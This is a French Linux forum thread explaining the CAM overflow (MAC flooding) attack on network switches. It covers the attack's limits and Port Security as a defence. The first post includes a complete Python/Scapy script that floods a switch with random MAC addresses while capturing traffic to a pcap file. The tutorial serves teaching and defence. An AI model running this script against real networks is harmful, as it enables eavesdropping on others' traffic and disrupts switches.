user@linuxtrack:~ $ python -c 'print("Soyez les bienvenus !")'

Vous n'êtes pas identifié(e).

#1 16-08-2018 17:22:29

Linuz
Membre

CAM Overflow (ou MAC Flooding)

Bonjour,

Je vais vous présenter le fonctionnement d'une attaque nommé CAM Overflow, le but de cette dernière est de pouvoir écouter des communications qui ne nous sont pas destinées lorsque l'on est connecté à un commutateur.
Ce sujet va être découpé en plusieurs parties :

  1. Fonctionnement d'un commutateur

  2. Attaque CAM Overflow

  3. Résultats de l'attaques et conclusions

  4. Comment se protéger de cette attaque

  5. Exemple en scapy

Si vous voyez des coquilles ou si vous avez besoin de précisions n'hésitez surtout pas !

Rappel fonctionnement commutateur

Un switch possède une table CAM qui permet de faire la correspondance entre un port et une adresse MAC. Cette dernière lui permet de n'envoyer les trames que sur le port ou se situe le destinataire.
Voyons plus en détails comment cela fonctionne.

1534428282.png

Sur ce schéma, le switch connait déjà l'adresse MAC du PC C associée au port 2 du commutateur

1534428357.png

Ici, A décide de communiquer avec B. Comme le switch ne sait pas encore où se situe B, il va alors envoyer la trame sur tous ses ports.
Au passage, il voit l'adresse MAC du poste A arriver par son port 0. Comme il ne possède pas déjà cette entrée dans sa table, il l'ajoute.

1534428426.png

B répond, le switch peut alors ajouter B à sa table CAM sur le port 1.

1534428515.png

Enfin, A renvoie un message à B. Cette fois le switch sait ou B se trouve, il n'a donc nullement besoin d’envoyer la trame sur tous ses ports.



CAM Overflow (ou MAC Flooding)

Le CAM Overflow consiste à envoyer un grand nombre d'adresses MAC générées aléatoirement pour saturer la table CAM du commutateur.
Il faut noter que certains commutateurs n'ont pas de taille de table CAM fixe, ils sont cependant limités par leurs ressources physiques.
On peut lire un peut partout sur internet que si la table est pleine, le switch va alors se transformer en hub. Vérifions !

1534428783.png

Une personne malicieuse (Eve) sur le port 2 du switch lance une attaque CAM Overflow en remplissant la table avec des adresses générées aléatoirement.
Eve n'a alors plus qu'à démarrer son Wireshark pour écouter le réseau.
Attention : remarquez bien que la table CAM du switch était vide avant l'attaque !

1534428873.png

Lorsque A veut envoyer un message à B, le commutateur ne sait pas où se situe B, il va alors envoyer toute trame de la communication sur tous les ports. La table CAM étant pleine, aucune association @MAC/port n'est ajouté à cette dernière.

Prenons maintenant le cas ou une adresse se trouvait déjà dans la table avant l'attaque d'Eve

1534428947.png

Dans ce cas précis, le switch connaît déjà l'emplacement de B, il n'a absolument aucune raison d'envoyer la trame sur la totalité de ses ports.



Résultats, HUB ou pas HUB ?

Comme on a pu le voir, cette attaque nous permet de ne capturer des trames que si le poste n'est pas encore présent dans la table CAM. On ne peut donc pas parler de transformation du commutateur en hub. Cependant, dans ce cas précis, son fonctionnement s'en rapproche.

Un attaquant pourrait cependant tenter d'attendre la fin du "Aging time". Ce dernier correspond au temps pendant lequel le commutateur va garder une @MAC dans sa table (300s par défaut chez cisco). Il est remis à zéro à chaque fois qu'une trame est reçu de cette adresse pour que le commutateur se souvienne des équipements actifs.
Le flooding prendrait alors le dessus et le poste ne pourrait pas être réinscrit dans la table. Cependant c'est à prendre avec des pincettes. En effet, par exemple, un poste Windows est très bavard sur le réseau, il n'y a donc presque aucune chance que ce dernier atteigne le "Aging time".

Un attaquant pourrait cependant lancer un CAM Overflow le matin avant que les postes soient allumés. Dans ce cas, la table serait remplie et les postes allumés ne s'y verraient pas ajoutés.



Recommandations

Pour se protéger de ce type d'attaque, il est possible d'activer une fonctionnalité présente sur la grande majorité des équipement nommée "Port Security".
Cette dernière permet de limiter le nombre d'adresses MAC autorisées sur un port donné. Si ce seuil est dépassé, il est alors possible de :

  • bloquer les adresses MAC supplémentaires en levant une alerte ou non

  • fermer le port

Exemple de CAM Overflow avec Scapy

Ce code a été rédigé en Python 3 avec Scapy.
Le but est de créer une liste d'@MAC générées aléatoirement et de les utiliser en source dans de faux paquets IP envoyés sur une interface donnée.
On va en parallèle écouter le réseau en enregistrant tout ce qui passe dans un fichier pcap. Ce qui, dans le cas ou l'attaque est un succès, nous permettra de voir les trames capturées qui ne nous étaient pas destinées.
Pourquoi de l'objet ? Parce que c'est fuuuuuuun et parcequ'à la base ce code fait partie d'un plus gros projet que j'écris (je l'ai modifié pour ce sujet).


import sys

from multiprocessing import Process

from scapy.all import Ether, sendpfast, RandIP, RandMAC, sniff
from scapy.layers.inet import IP
from scapy.utils import PcapWriter


class CamFlooding(object):

    def __init__(self, interface, pps, camsize ):
        """
        Méthode init permettant d'initialiser les paramètres.
        
        :param string interface: interface sur laquelle lancer l'attaque
		:param int pps: nombre de trames à envoyer par seconde
		:param int camsize: taille de la table CAM (ou nombre d'@MAC aléatoires à générer et envoyer)
        """
        self.interface = interface
        self.pps = pps
        self.camsize = camsize
        self.liste_paquets = []  # attribut qui contiendra les paquets générés

    # end __init__

    def flood(self):
        """
        Fonction qui lance le flooding. sendpfast permet d'envoyer des paquets à une certaine vitesse.
        """
        while True:
            sendpfast(self.liste_paquets, iface=self.interface, file_cache=True, verbose=False, pps=self.pps)
		# end while

	# end flood
	
    @staticmethod
    def vers_pcap(pkt):
        """
        Fonction qui permet d'envoyer les paquets sniffés dans un fichier pcap.
        
        :param pkt: paquet envoyé par la fonction sniff
        """
        pcap = PcapWriter("cam_flooding.pcap", append=True, sync=True)
        pcap.write(pkt)
		
	# end vers_pcap
	
    def lancer(self):
        """
        Fonction d'entrée de l'attaque.
        """

        
        print(" ------ Lancement de l'attaque CamFlooding")

        print("Génération de {} addresses MAC uniques...".format(self.camsize))

        p1 = Process(target=self.flood)

        try:
            # Génération d'une liste d'adresses mac uniques en fonction de la taille de la table CAM
            macs = []
            while len(macs) != self.camsize:
                genmac = RandMAC()
                if genmac not in macs:
                    macs.append(genmac)
				# end if
			# end while
            # Génération des paquets à envoyer au switch

            print("Génération de {} paquets à envoyer...".format(self.camsize))
            for mac in macs:
                packet = Ether(src=mac, dst=RandMAC()) / IP(src="6.6.6.6", dst=RandIP())
                self.liste_paquets.append(packet)
			# end for
            # Démarrage du processus de flooding
            print("Démarrage du processus de flooding et du sniffing")
            p1.start()
            print("Appuyez sur [CTRL+C] pour arreter")

            # Sniffing, le paramètre prn permet d'appliquer une fonction à chaque paquet capturé
            sniff(iface=self.interface, prn=self.vers_pcap, exceptions=True)
		# end try
        except KeyboardInterrupt:
            if p1.is_alive():
                p1.terminate()
            print("\nArrêt du processus de flooding et de la capture")
		# end except
		
        print("Enregistrement des paquets envoyés et reçus dans le fichier pcaps/cam_flooding.pcap")
        print(" ------ Attaque CamFlooding terminée")

    # end lancer

# end Class CamFlooding

def main():

	cam = CamFlooding(interface="eth0", pps=500, camsize=8192)
  	cam.lancer()
	
	return 0
	
# end main

if (__name__ == '__main__'):
    sys.exit(main())
# end if

A bientôt  big_smile

Dernière modification par Linuz (16-08-2018 17:36:31)

Hors ligne

#2 17-08-2018 06:39:25

IceF0x
#! Gourou Linux

Re : CAM Overflow (ou MAC Flooding)

Très intéressant, j'avais déjà lu ce cours sur un site mais je ne sais plus lequel, si je le retrouve je poste le lien.

Edit: ici => https://www.frameip.com/attaque-protect … -ethernet/


Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D

Hors ligne

#3 17-08-2018 10:10:37

Linuz
Membre

Re : CAM Overflow (ou MAC Flooding)

Merci pour le lien, bien plus poussé pour ceux qui veulent creuser ! Et ça m'a permis de découvrir le renouveau graphique de FrameIP.com (même si la musique épique en page d'accueil n'était pas obligatoire  stone )

Hors ligne

#4 17-08-2018 13:39:01

IceF0x
#! Gourou Linux

Re : CAM Overflow (ou MAC Flooding)

c'est avec frameip que j'ai appris les bases du réseau à l'époque, mais je dois avouer que depuis le temps, j'ai un peu laisser tout ça de coté.


Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D

Hors ligne

Pied de page des forums